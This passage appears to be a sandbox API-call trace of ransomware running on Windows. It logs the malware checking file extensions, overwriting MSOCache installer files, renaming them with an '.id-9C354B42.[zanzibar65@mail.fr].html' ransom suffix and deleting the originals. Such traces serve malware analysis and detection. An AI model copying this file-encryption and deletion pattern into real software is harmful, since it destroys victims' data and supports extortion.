(lpString1=".zip", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString=".rar") returned 4 [0037.943] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString=".bz2") returned 4 [0037.943] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.943] lstrlenW (lpString=".7z") returned 3 [0037.944] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString=".dbf") returned 4 [0037.944] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString=".1cd") returned 4 [0037.944] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString=".jpg") returned 4 [0037.944] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString=".doc") returned 4 [0037.944] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString=".docx") returned 5 [0037.944] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.944] lstrlenW (lpString=".pdf") returned 4 [0037.944] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString=".xls") returned 4 [0037.944] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString=".xlsx") returned 5 [0037.944] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.944] lstrlenW (lpString=".ppt") returned 4 [0037.944] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.944] lstrlenW (lpString=".zip") returned 4 [0037.944] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString=".rar") returned 4 [0037.944] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.944] lstrlenW (lpString=".bz2") returned 4 [0037.944] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.944] lstrlenW (lpString=".7z") returned 3 [0037.945] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.945] lstrlenW (lpString=".dbf") returned 4 [0037.945] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.945] lstrlenW (lpString=".1cd") returned 4 [0037.945] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.945] lstrlenW (lpString=".jpg") returned 4 [0037.945] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.945] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0037.945] lstrlenW (lpString="WordLR.cab") returned 10 [0037.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.945] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=43806141) returned 1 [0037.945] CloseHandle (hObject=0x1ac) returned 1 [0037.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0037.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.946] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0038.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0038.498] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0038.498] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.498] ReadFile (in: hFile=0x1ac, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.510] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.510] ReadFile (in: hFile=0x1ac, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.537] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.537] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.537] ReadFile (in: hFile=0x1ac, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.552] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.552] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0038.567] SetEndOfFile (hFile=0x1ac) returned 1 [0038.567] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0038.567] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.567] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.568] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.568] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.570] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.570] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.572] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0038.572] CloseHandle (hObject=0x1ac) returned 1 [0040.521] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.521] lstrlenW (lpString=".doc") returned 4 [0040.521] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.521] lstrlenW (lpString=".docx") returned 5 [0040.521] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.521] lstrlenW (lpString=".pdf") returned 4 [0040.521] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.521] lstrlenW (lpString=".xls") returned 4 [0040.521] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.521] lstrlenW (lpString=".xlsx") returned 5 [0040.521] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.521] lstrlenW (lpString=".ppt") returned 4 [0040.521] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.521] lstrlenW (lpString=".zip") returned 4 [0040.521] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.521] lstrlenW (lpString=".rar") returned 4 [0040.522] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".bz2") returned 4 [0040.522] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.522] lstrlenW (lpString=".7z") returned 3 [0040.522] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString=".dbf") returned 4 [0040.522] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString=".1cd") returned 4 [0040.522] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString=".jpg") returned 4 [0040.522] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString=".doc") returned 4 [0040.522] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".docx") returned 5 [0040.522] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.522] lstrlenW (lpString=".pdf") returned 4 [0040.522] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".xls") returned 4 [0040.522] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".xlsx") returned 5 [0040.522] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.522] lstrlenW (lpString=".ppt") returned 4 [0040.522] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.522] lstrlenW (lpString=".zip") returned 4 [0040.522] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".rar") returned 4 [0040.522] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString=".bz2") returned 4 [0040.523] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.523] lstrlenW (lpString=".7z") returned 3 [0040.523] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.523] lstrlenW (lpString=".dbf") returned 4 [0040.523] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.523] lstrlenW (lpString=".1cd") returned 4 [0040.523] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0040.523] lstrlenW (lpString=".jpg") returned 4 [0040.523] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.523] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0040.523] lstrlenW (lpString="Proof.msi") returned 9 [0040.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.900] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=885760) returned 1 [0040.900] CloseHandle (hObject=0x1e8) returned 1 [0040.900] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0040.900] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.900] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.900] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0040.900] GetLastError () returned 0x0 [0040.901] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0041.333] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0041.349] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.350] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.350] SetEndOfFile (hFile=0x1f0) returned 1 [0041.350] CloseHandle (hObject=0x1f0) returned 1 [0041.700] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.700] SetEndOfFile (hFile=0x1e8) returned 1 [0041.708] CloseHandle (hObject=0x1e8) returned 1 [0041.708] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0041.708] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0041.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.708] lstrlenW (lpString=".doc") returned 4 [0041.708] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.708] lstrlenW (lpString=".docx") returned 5 [0041.708] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0041.708] lstrlenW (lpString=".pdf") returned 4 [0041.708] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.708] lstrlenW (lpString=".xls") returned 4 [0041.708] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.709] lstrlenW (lpString=".xlsx") returned 5 [0041.709] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0041.709] lstrlenW (lpString=".ppt") returned 4 [0041.709] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString=".zip") returned 4 [0041.709] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.709] lstrlenW (lpString=".rar") returned 4 [0041.709] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.709] lstrlenW (lpString=".bz2") returned 4 [0041.709] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.709] lstrlenW (lpString=".7z") returned 3 [0041.709] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString=".dbf") returned 4 [0041.709] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString=".1cd") returned 4 [0041.709] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString=".jpg") returned 4 [0041.709] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.709] lstrlenW (lpString=".doc") returned 4 [0041.709] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0041.709] lstrlenW (lpString=".docx") returned 5 [0041.709] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0041.710] lstrlenW (lpString=".pdf") returned 4 [0041.710] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0041.710] lstrlenW (lpString=".xls") returned 4 [0041.710] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0041.710] lstrlenW (lpString=".xlsx") returned 5 [0041.710] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0041.710] lstrlenW (lpString=".ppt") returned 4 [0041.710] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0041.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.710] lstrlenW (lpString=".zip") returned 4 [0041.710] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0041.710] lstrlenW (lpString=".rar") returned 4 [0041.710] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0041.710] lstrlenW (lpString=".bz2") returned 4 [0041.710] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0041.710] lstrlenW (lpString=".7z") returned 3 [0041.710] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0041.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.710] lstrlenW (lpString=".dbf") returned 4 [0041.710] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0041.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.710] lstrlenW (lpString=".1cd") returned 4 [0041.710] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0041.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0041.710] lstrlenW (lpString=".jpg") returned 4 [0041.710] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0041.710] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0041.710] lstrlenW (lpString="Proofing.msi") returned 12 [0041.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.711] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=868864) returned 1 [0041.711] CloseHandle (hObject=0x1e8) returned 1 [0041.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0041.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0041.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0041.711] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.711] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0041.711] GetLastError () returned 0x0 [0041.712] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0041.728] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0042.103] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: 